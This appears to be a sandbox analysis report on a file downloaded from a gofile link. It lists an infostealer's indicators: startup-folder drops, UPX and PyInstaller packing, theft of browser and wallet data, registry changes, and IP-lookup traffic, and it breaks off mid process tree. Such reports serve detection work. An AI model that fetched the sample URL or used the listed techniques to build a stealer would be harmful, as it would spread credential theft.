hxxps://gofile[.]io/d/bLjssM

Analysis

max time kernel
613s
max time network
621s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
19-02-2024 21:31

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

https://gofile.io/d/bLjssM

Score

7^/10

persistence pyinstaller spyware stealer upx

Malware Config

Signatures

Drops startup file 7 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\main.exe	main.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\EPICGA~1.EXE	EPICGA~1.EXE
File opened for modification	\??\c:\users\admin\appdata\roaming\microsoft\windows\start menu\programs\startup\epicga~1.exe	taskmgr.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\main.exe	main.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\main.exe	main.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\EPICGA~1.EXE	EPICGA~1.EXE
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\main.exe	main.exe

Executes dropped EXE 16 IoCs

pid	Process
4868	NoxieV1.32.exe
4404	noxie1.EXE
208	main.exe
2572	main.exe
4356	noxie.exe
4160	noxie.exe
4236	EPICGA~1.EXE
1720	EPICGA~1.EXE
1572	NoxieV1.32.exe
3756	noxie1.EXE
956	main.exe
4708	main.exe
3076	noxie.exe
4204	noxie.exe
3032	EPICGA~1.EXE
3404	EPICGA~1.EXE

Loads dropped DLL 64 IoCs

pid	Process
2572	main.exe
2572	main.exe
2572	main.exe
2572	main.exe
2572	main.exe
2572	main.exe
2572	main.exe
2572	main.exe
2572	main.exe
2572	main.exe
2572	main.exe
2572	main.exe
2572	main.exe
2572	main.exe
2572	main.exe
2572	main.exe
2572	main.exe
2572	main.exe
2572	main.exe
2572	main.exe
2572	main.exe
2572	main.exe
2572	main.exe
2572	main.exe
2572	main.exe
2572	main.exe
2572	main.exe
2572	main.exe
2572	main.exe
2572	main.exe
2572	main.exe
2572	main.exe
2572	main.exe
2572	main.exe
2572	main.exe
2572	main.exe
2572	main.exe
2572	main.exe
2572	main.exe
2572	main.exe
2572	main.exe
2572	main.exe
2572	main.exe
2572	main.exe
2572	main.exe
2572	main.exe
2572	main.exe
2572	main.exe
2572	main.exe
2572	main.exe
2572	main.exe
4160	noxie.exe
4160	noxie.exe
1720	EPICGA~1.EXE
1720	EPICGA~1.EXE
1720	EPICGA~1.EXE
1720	EPICGA~1.EXE
1720	EPICGA~1.EXE
1720	EPICGA~1.EXE
1720	EPICGA~1.EXE
1720	EPICGA~1.EXE
1720	EPICGA~1.EXE
1720	EPICGA~1.EXE
1720	EPICGA~1.EXE

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x00060000000231c6-397.dat	upx
behavioral1/files/0x00060000000231c6-398.dat	upx
behavioral1/memory/2572-400-0x00007FFAFB010000-0x00007FFAFB5F8000-memory.dmp	upx
behavioral1/files/0x000600000002319f-403.dat	upx
behavioral1/files/0x00060000000231c0-408.dat	upx
behavioral1/files/0x000600000002319d-410.dat	upx
behavioral1/files/0x00060000000231a2-413.dat	upx
behavioral1/files/0x00060000000231a9-431.dat	upx
behavioral1/memory/2572-432-0x00007FFB0E8E0000-0x00007FFB0E904000-memory.dmp	upx
behavioral1/memory/2572-433-0x00007FFB0EC90000-0x00007FFB0EC9F000-memory.dmp	upx
behavioral1/files/0x00060000000231a6-435.dat	upx
behavioral1/files/0x00060000000231ca-437.dat	upx
behavioral1/memory/2572-438-0x00007FFAFAFF0000-0x00007FFAFB009000-memory.dmp	upx
behavioral1/memory/2572-439-0x00007FFB0EC80000-0x00007FFB0EC8D000-memory.dmp	upx
behavioral1/memory/2572-441-0x00007FFAFAFB0000-0x00007FFAFAFE5000-memory.dmp	upx
behavioral1/memory/2572-443-0x00007FFB0E500000-0x00007FFB0E50D000-memory.dmp	upx
behavioral1/files/0x00060000000231c9-444.dat	upx
behavioral1/files/0x00060000000231a5-442.dat	upx
behavioral1/files/0x00060000000231c4-440.dat	upx
behavioral1/memory/2572-436-0x00007FFAFB720000-0x00007FFAFB74D000-memory.dmp	upx
behavioral1/memory/2572-434-0x00007FFAFB750000-0x00007FFAFB769000-memory.dmp	upx
behavioral1/memory/2572-445-0x00007FFAFAF80000-0x00007FFAFAFAE000-memory.dmp	upx
behavioral1/memory/2572-446-0x00007FFAFAEC0000-0x00007FFAFAF7C000-memory.dmp	upx
behavioral1/memory/2572-447-0x00007FFAFAE90000-0x00007FFAFAEBB000-memory.dmp	upx
behavioral1/files/0x00060000000231a8-430.dat	upx
behavioral1/files/0x00060000000231a7-429.dat	upx
behavioral1/files/0x00060000000231a4-426.dat	upx
behavioral1/files/0x00060000000231a3-425.dat	upx
behavioral1/files/0x00060000000231a1-424.dat	upx
behavioral1/files/0x00060000000231a0-423.dat	upx
behavioral1/files/0x000600000002319e-422.dat	upx
behavioral1/files/0x000600000002319c-421.dat	upx
behavioral1/files/0x00060000000231d5-419.dat	upx
behavioral1/files/0x00060000000231d4-418.dat	upx
behavioral1/files/0x00060000000231c1-415.dat	upx
behavioral1/files/0x00060000000231bf-414.dat	upx
behavioral1/memory/2572-448-0x00007FFAFAE60000-0x00007FFAFAE8E000-memory.dmp	upx
behavioral1/memory/2572-450-0x00007FFAFADA0000-0x00007FFAFAE58000-memory.dmp	upx
behavioral1/memory/2572-451-0x00007FFAFAA20000-0x00007FFAFAD95000-memory.dmp	upx
behavioral1/memory/2572-452-0x00007FFAFAA00000-0x00007FFAFAA15000-memory.dmp	upx
behavioral1/memory/2572-455-0x00007FFAFB010000-0x00007FFAFB5F8000-memory.dmp	upx
behavioral1/memory/2572-456-0x00007FFAFA9E0000-0x00007FFAFA9F2000-memory.dmp	upx
behavioral1/memory/2572-457-0x00007FFAFA830000-0x00007FFAFA9A3000-memory.dmp	upx
behavioral1/memory/2572-458-0x00007FFAFA9B0000-0x00007FFAFA9D3000-memory.dmp	upx
behavioral1/memory/2572-459-0x00007FFAFA810000-0x00007FFAFA828000-memory.dmp	upx
behavioral1/memory/2572-460-0x00007FFAFA7C0000-0x00007FFAFA7E6000-memory.dmp	upx
behavioral1/memory/2572-461-0x00007FFAFA6A0000-0x00007FFAFA7BC000-memory.dmp	upx
behavioral1/memory/2572-462-0x00007FFB0E8E0000-0x00007FFB0E904000-memory.dmp	upx
behavioral1/memory/2572-463-0x00007FFAFA7F0000-0x00007FFAFA804000-memory.dmp	upx
behavioral1/memory/2572-464-0x00007FFB0DE60000-0x00007FFB0DE6B000-memory.dmp	upx
behavioral1/memory/2572-466-0x00007FFAFAFF0000-0x00007FFAFB009000-memory.dmp	upx
behavioral1/memory/2572-465-0x00007FFAFA660000-0x00007FFAFA698000-memory.dmp	upx
behavioral1/memory/2572-467-0x00007FFB07530000-0x00007FFB0753B000-memory.dmp	upx
behavioral1/memory/2572-469-0x00007FFAFF950000-0x00007FFAFF95B000-memory.dmp	upx
behavioral1/memory/2572-470-0x00007FFAFD800000-0x00007FFAFD80C000-memory.dmp	upx
behavioral1/memory/2572-472-0x00007FFAFA650000-0x00007FFAFA65C000-memory.dmp	upx
behavioral1/memory/2572-471-0x00007FFAFB710000-0x00007FFAFB71B000-memory.dmp	upx
behavioral1/memory/2572-474-0x00007FFAFA620000-0x00007FFAFA62C000-memory.dmp	upx
behavioral1/memory/2572-473-0x00007FFAFA630000-0x00007FFAFA63E000-memory.dmp	upx
behavioral1/memory/2572-468-0x00007FFB04E30000-0x00007FFB04E3C000-memory.dmp	upx
behavioral1/memory/2572-475-0x00007FFAFA610000-0x00007FFAFA61B000-memory.dmp	upx
behavioral1/memory/2572-477-0x00007FFAFA5D0000-0x00007FFAFA5DD000-memory.dmp	upx
behavioral1/memory/2572-478-0x00007FFAFA5B0000-0x00007FFAFA5C2000-memory.dmp	upx
behavioral1/memory/2572-479-0x00007FFAFA5A0000-0x00007FFAFA5AC000-memory.dmp	upx

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	NoxieV1.32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\""	noxie1.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	NoxieV1.32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\""	noxie1.EXE

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
123	raw.githubusercontent.com
124	raw.githubusercontent.com
311	raw.githubusercontent.com

Looks up external IP address via web service 4 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
140	api.ipify.org
141	api.ipify.org
323	api.ipify.org
324	api.ipify.org

Drops file in System32 directory 11 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\DataSharing\Storage\DSTokenDB2.dat	svchost.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\DataSharing\Storage\DSTokenDB2.dat	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\DataSharing\Storage\DSS.jcp	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\DataSharing\Storage\DSS.jtx	svchost.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\DataSharing\Storage\DSSres00001.jrs	svchost.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\DataSharing\Storage\DSTokenDB2.jfm	svchost.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\DataSharing\Storage\DSS.chk	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\DataSharing\Storage\DSS.chk	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\DataSharing\Storage\DSS.log	svchost.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\DataSharing\Storage\DSStmp.log	svchost.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\DataSharing\Storage\DSSres00002.jrs	svchost.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	mspaint.exe

Detects Pyinstaller 6 IoCs

pyinstaller

resource	yara_rule
behavioral1/files/0x0004000000000735-287.dat	pyinstaller
behavioral1/files/0x0004000000000735-288.dat	pyinstaller
behavioral1/files/0x0004000000000735-396.dat	pyinstaller
behavioral1/files/0x0003000000022790-519.dat	pyinstaller
behavioral1/files/0x000b000000023164-968.dat	pyinstaller
behavioral1/files/0x000700000002317c-1366.dat	pyinstaller

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	taskmgr.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000_Classes\Local Settings	taskmgr.exe
Key created	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000_Classes\Local Settings	mspaint.exe
Key created	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000_Classes\Local Settings	OpenWith.exe

Opens file in notepad (likely ransom note) 2 IoCs

ransomware

pid	Process
348	NOTEPAD.EXE
4388	NOTEPAD.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4380	msedge.exe
4380	msedge.exe
2860	msedge.exe
2860	msedge.exe
4044	identity_helper.exe
4044	identity_helper.exe
1616	msedge.exe
1616	msedge.exe
2572	main.exe
2572	main.exe
2572	main.exe
2572	main.exe
2572	main.exe
2572	main.exe
2572	main.exe
2572	main.exe
2572	main.exe
2572	main.exe
2572	main.exe
2572	main.exe
2572	main.exe
2572	main.exe
2572	main.exe
2572	main.exe
2572	main.exe
2572	main.exe
2572	main.exe
2572	main.exe
2572	main.exe
2572	main.exe
2572	main.exe
2572	main.exe
2572	main.exe
2572	main.exe
2572	main.exe
2572	main.exe
3936	taskmgr.exe
3936	taskmgr.exe
3048	powershell.exe
3048	powershell.exe
3048	powershell.exe
4544	powershell.exe
4544	powershell.exe
4544	powershell.exe
3936	taskmgr.exe
3936	taskmgr.exe
4968	powershell.exe
3936	taskmgr.exe
4968	powershell.exe
3936	taskmgr.exe
4380	powershell.exe
4380	powershell.exe
1880	powershell.exe
1880	powershell.exe
3936	taskmgr.exe
3936	taskmgr.exe
3936	taskmgr.exe
3936	taskmgr.exe
3936	taskmgr.exe
3936	taskmgr.exe
3936	taskmgr.exe
3936	taskmgr.exe
3936	taskmgr.exe
3936	taskmgr.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3936	taskmgr.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 19 IoCs

pid	Process
2860	msedge.exe
2860	msedge.exe
2860	msedge.exe
2860	msedge.exe
2860	msedge.exe
2860	msedge.exe
2860	msedge.exe
2860	msedge.exe
2860	msedge.exe
2860	msedge.exe
2860	msedge.exe
2860	msedge.exe
2776	msedge.exe
2776	msedge.exe
2776	msedge.exe
2776	msedge.exe
2776	msedge.exe
2776	msedge.exe
2776	msedge.exe

Suspicious use of AdjustPrivilegeToken 23 IoCs

description	pid	Process
Token: SeRestorePrivilege	2136	7zG.exe
Token: 35	2136	7zG.exe
Token: SeSecurityPrivilege	2136	7zG.exe
Token: SeSecurityPrivilege	2136	7zG.exe
Token: SeDebugPrivilege	2572	main.exe
Token: SeDebugPrivilege	3048	powershell.exe
Token: SeDebugPrivilege	3936	taskmgr.exe
Token: SeSystemProfilePrivilege	3936	taskmgr.exe
Token: SeCreateGlobalPrivilege	3936	taskmgr.exe
Token: SeDebugPrivilege	4544	powershell.exe
Token: SeDebugPrivilege	4968	powershell.exe
Token: SeDebugPrivilege	4380	powershell.exe
Token: SeDebugPrivilege	1880	powershell.exe
Token: SeTcbPrivilege	4832	svchost.exe
Token: SeRestorePrivilege	4832	svchost.exe
Token: 33	3936	taskmgr.exe
Token: SeIncBasePriorityPrivilege	3936	taskmgr.exe
Token: SeDebugPrivilege	4708	main.exe
Token: SeDebugPrivilege	2228	powershell.exe
Token: SeDebugPrivilege	4564	powershell.exe
Token: SeDebugPrivilege	3764	powershell.exe
Token: SeDebugPrivilege	4260	powershell.exe
Token: SeDebugPrivilege	1832	powershell.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
2860	msedge.exe
2860	msedge.exe
2860	msedge.exe
2860	msedge.exe
2860	msedge.exe
2860	msedge.exe
2860	msedge.exe
2860	msedge.exe
2860	msedge.exe
2860	msedge.exe
2860	msedge.exe
2860	msedge.exe
2860	msedge.exe
2860	msedge.exe
2860	msedge.exe
2860	msedge.exe
2860	msedge.exe
2860	msedge.exe
2860	msedge.exe
2860	msedge.exe
2860	msedge.exe
2860	msedge.exe
2860	msedge.exe
2860	msedge.exe
2860	msedge.exe
2860	msedge.exe
2860	msedge.exe
2860	msedge.exe
2860	msedge.exe
2860	msedge.exe
2860	msedge.exe
2860	msedge.exe
2860	msedge.exe
2860	msedge.exe
2860	msedge.exe
2860	msedge.exe
2860	msedge.exe
2860	msedge.exe
2860	msedge.exe
2860	msedge.exe
2860	msedge.exe
2860	msedge.exe
2860	msedge.exe
2860	msedge.exe
2860	msedge.exe
2860	msedge.exe
2136	7zG.exe
3936	taskmgr.exe
3936	taskmgr.exe
3936	taskmgr.exe
3936	taskmgr.exe
3936	taskmgr.exe
3936	taskmgr.exe
3936	taskmgr.exe
3936	taskmgr.exe
3936	taskmgr.exe
3936	taskmgr.exe
3936	taskmgr.exe
3936	taskmgr.exe
3936	taskmgr.exe
3936	taskmgr.exe
3936	taskmgr.exe
3936	taskmgr.exe
3936	taskmgr.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
2860	msedge.exe
2860	msedge.exe
2860	msedge.exe
2860	msedge.exe
2860	msedge.exe
2860	msedge.exe
2860	msedge.exe
2860	msedge.exe
2860	msedge.exe
2860	msedge.exe
2860	msedge.exe
2860	msedge.exe
2860	msedge.exe
2860	msedge.exe
2860	msedge.exe
2860	msedge.exe
2860	msedge.exe
2860	msedge.exe
2860	msedge.exe
2860	msedge.exe
2860	msedge.exe
2860	msedge.exe
2860	msedge.exe
2860	msedge.exe
3936	taskmgr.exe
3936	taskmgr.exe
3936	taskmgr.exe
3936	taskmgr.exe
3936	taskmgr.exe
3936	taskmgr.exe
3936	taskmgr.exe
3936	taskmgr.exe
3936	taskmgr.exe
3936	taskmgr.exe
3936	taskmgr.exe
3936	taskmgr.exe
3936	taskmgr.exe
3936	taskmgr.exe
3936	taskmgr.exe
3936	taskmgr.exe
3936	taskmgr.exe
3936	taskmgr.exe
3936	taskmgr.exe
3936	taskmgr.exe
3936	taskmgr.exe
3936	taskmgr.exe
3936	taskmgr.exe
3936	taskmgr.exe
3936	taskmgr.exe
3936	taskmgr.exe
3936	taskmgr.exe
3936	taskmgr.exe
3936	taskmgr.exe
3936	taskmgr.exe
3936	taskmgr.exe
3936	taskmgr.exe
3936	taskmgr.exe
3936	taskmgr.exe
3936	taskmgr.exe
3936	taskmgr.exe
3936	taskmgr.exe
3936	taskmgr.exe
3936	taskmgr.exe
3936	taskmgr.exe

Suspicious use of SetWindowsHookEx 9 IoCs

pid	Process
1568	mspaint.exe
3228	OpenWith.exe
2280	OpenWith.exe
2280	OpenWith.exe
2280	OpenWith.exe
5060	mspaint.exe
5060	mspaint.exe
5060	mspaint.exe
5060	mspaint.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2860 wrote to memory of 2972	2860	msedge.exe	83
PID 2860 wrote to memory of 2972	2860	msedge.exe	83
PID 2860 wrote to memory of 4392	2860	msedge.exe	84
PID 2860 wrote to memory of 4392	2860	msedge.exe	84
PID 2860 wrote to memory of 4392	2860	msedge.exe	84
PID 2860 wrote to memory of 4392	2860	msedge.exe	84
PID 2860 wrote to memory of 4392	2860	msedge.exe	84
PID 2860 wrote to memory of 4392	2860	msedge.exe	84
PID 2860 wrote to memory of 4392	2860	msedge.exe	84
PID 2860 wrote to memory of 4392	2860	msedge.exe	84
PID 2860 wrote to memory of 4392	2860	msedge.exe	84
PID 2860 wrote to memory of 4392	2860	msedge.exe	84
PID 2860 wrote to memory of 4392	2860	msedge.exe	84
PID 2860 wrote to memory of 4392	2860	msedge.exe	84
PID 2860 wrote to memory of 4392	2860	msedge.exe	84
PID 2860 wrote to memory of 4392	2860	msedge.exe	84
PID 2860 wrote to memory of 4392	2860	msedge.exe	84
PID 2860 wrote to memory of 4392	2860	msedge.exe	84
PID 2860 wrote to memory of 4392	2860	msedge.exe	84
PID 2860 wrote to memory of 4392	2860	msedge.exe	84
PID 2860 wrote to memory of 4392	2860	msedge.exe	84
PID 2860 wrote to memory of 4392	2860	msedge.exe	84
PID 2860 wrote to memory of 4392	2860	msedge.exe	84
PID 2860 wrote to memory of 4392	2860	msedge.exe	84
PID 2860 wrote to memory of 4392	2860	msedge.exe	84
PID 2860 wrote to memory of 4392	2860	msedge.exe	84
PID 2860 wrote to memory of 4392	2860	msedge.exe	84
PID 2860 wrote to memory of 4392	2860	msedge.exe	84
PID 2860 wrote to memory of 4392	2860	msedge.exe	84
PID 2860 wrote to memory of 4392	2860	msedge.exe	84
PID 2860 wrote to memory of 4392	2860	msedge.exe	84
PID 2860 wrote to memory of 4392	2860	msedge.exe	84
PID 2860 wrote to memory of 4392	2860	msedge.exe	84
PID 2860 wrote to memory of 4392	2860	msedge.exe	84
PID 2860 wrote to memory of 4392	2860	msedge.exe	84
PID 2860 wrote to memory of 4392	2860	msedge.exe	84
PID 2860 wrote to memory of 4392	2860	msedge.exe	84
PID 2860 wrote to memory of 4392	2860	msedge.exe	84
PID 2860 wrote to memory of 4392	2860	msedge.exe	84
PID 2860 wrote to memory of 4392	2860	msedge.exe	84
PID 2860 wrote to memory of 4392	2860	msedge.exe	84
PID 2860 wrote to memory of 4392	2860	msedge.exe	84
PID 2860 wrote to memory of 4380	2860	msedge.exe	85
PID 2860 wrote to memory of 4380	2860	msedge.exe	85
PID 2860 wrote to memory of 376	2860	msedge.exe	86
PID 2860 wrote to memory of 376	2860	msedge.exe	86
PID 2860 wrote to memory of 376	2860	msedge.exe	86
PID 2860 wrote to memory of 376	2860	msedge.exe	86
PID 2860 wrote to memory of 376	2860	msedge.exe	86
PID 2860 wrote to memory of 376	2860	msedge.exe	86
PID 2860 wrote to memory of 376	2860	msedge.exe	86
PID 2860 wrote to memory of 376	2860	msedge.exe	86
PID 2860 wrote to memory of 376	2860	msedge.exe	86
PID 2860 wrote to memory of 376	2860	msedge.exe	86
PID 2860 wrote to memory of 376	2860	msedge.exe	86
PID 2860 wrote to memory of 376	2860	msedge.exe	86
PID 2860 wrote to memory of 376	2860	msedge.exe	86
PID 2860 wrote to memory of 376	2860	msedge.exe	86
PID 2860 wrote to memory of 376	2860	msedge.exe	86
PID 2860 wrote to memory of 376	2860	msedge.exe	86
PID 2860 wrote to memory of 376	2860	msedge.exe	86
PID 2860 wrote to memory of 376	2860	msedge.exe	86
PID 2860 wrote to memory of 376	2860	msedge.exe	86
PID 2860 wrote to memory of 376	2860	msedge.exe	86

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://gofile.io/d/bLjssM
1⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2860
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffb0e6a46f8,0x7ffb0e6a4708,0x7ffb0e6a4718
  2⤵
  PID:2972
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2148,11855988767346407792,11528758922609712994,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2160 /prefetch:2
  2⤵
  PID:4392
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2148,11855988767346407792,11528758922609712994,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2232 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4380
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2148,11855988767346407792,11528758922609712994,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2840 /prefetch:8
  2⤵
  PID:376
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,11855988767346407792,11528758922609712994,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3412 /prefetch:1
  2⤵
  PID:3544
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,11855988767346407792,11528758922609712994,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3400 /prefetch:1
  2⤵
  PID:4004
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,11855988767346407792,11528758922609712994,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4632 /prefetch:1
  2⤵
  PID:2256
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,11855988767346407792,11528758922609712994,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3968 /prefetch:1
  2⤵
  PID:4712
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,11855988767346407792,11528758922609712994,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5252 /prefetch:1
  2⤵
  PID:3560
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2148,11855988767346407792,11528758922609712994,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6160 /prefetch:8
  2⤵
  PID:884
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
